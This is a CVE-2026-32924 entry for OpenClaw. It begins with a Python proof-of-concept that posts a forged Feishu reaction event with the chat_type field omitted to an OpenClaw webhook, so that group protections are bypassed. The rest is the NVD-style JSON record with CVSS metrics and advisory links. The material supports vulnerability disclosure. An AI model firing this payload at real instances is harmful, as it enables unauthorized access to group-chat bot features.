CVE-2026-32924

import requests import json # Target OpenClaw Webhook URL target_url = 'http://target-openclaw-instance/webhook' # Payload simulates a Feishu reaction event # Exploit: 'chat_type' is omitted to trigger misclassification as P2P payload = { "token": "verify_token", "challenge": "challenge_code", "type": "event_callback", "event": { "operator": {"user_id": "attacker_id"}, "reaction": {"emoji_type": "thumbsup", "emoji": "\ud83d\udc4d"}, "chat_id": "group_chat_id", "open_chat_id": "oc_group_id", "app_id": "app_id", "timestamp": "1640000000", "event_type": "reaction_added" # CRITICAL: 'chat_type' field is missing here } } headers = {'Content-Type': 'application/json'} try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-32924", "sourceIdentifier": "[email protected]", "published": "2026-03-29T13:17:00.963", "lastModified": "2026-03-31T17:57:06.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.12 contains an authorization bypass vulnerability where Feishu reaction events with omitted chat_type are misclassified as p2p conversations instead of group chats. Attackers can exploit this misclassification to bypass groupAllowFrom and requireMention protections in group chat reaction-derived events."}, {"lang": "es", "value": "OpenClaw anterior a 2026.3.12 contiene una vulnerabilidad de omisión de autorización donde los eventos de reacción de Feishu con chat_type omitido se clasifican erróneamente como conversaciones p2p en lugar de chats de grupo. Los atacantes pueden explotar esta clasificación errónea para omitir las protecciones groupAllowFrom y requireMention en eventos derivados de reacciones de chats de grupo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.12", "matchCriteriaId": "B90EC1D8-4E2B-46AF-8E66-B689693A16CE"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m69h-jm2f-2pv8", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-via-misclassified-reaction-events-in-feishu", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}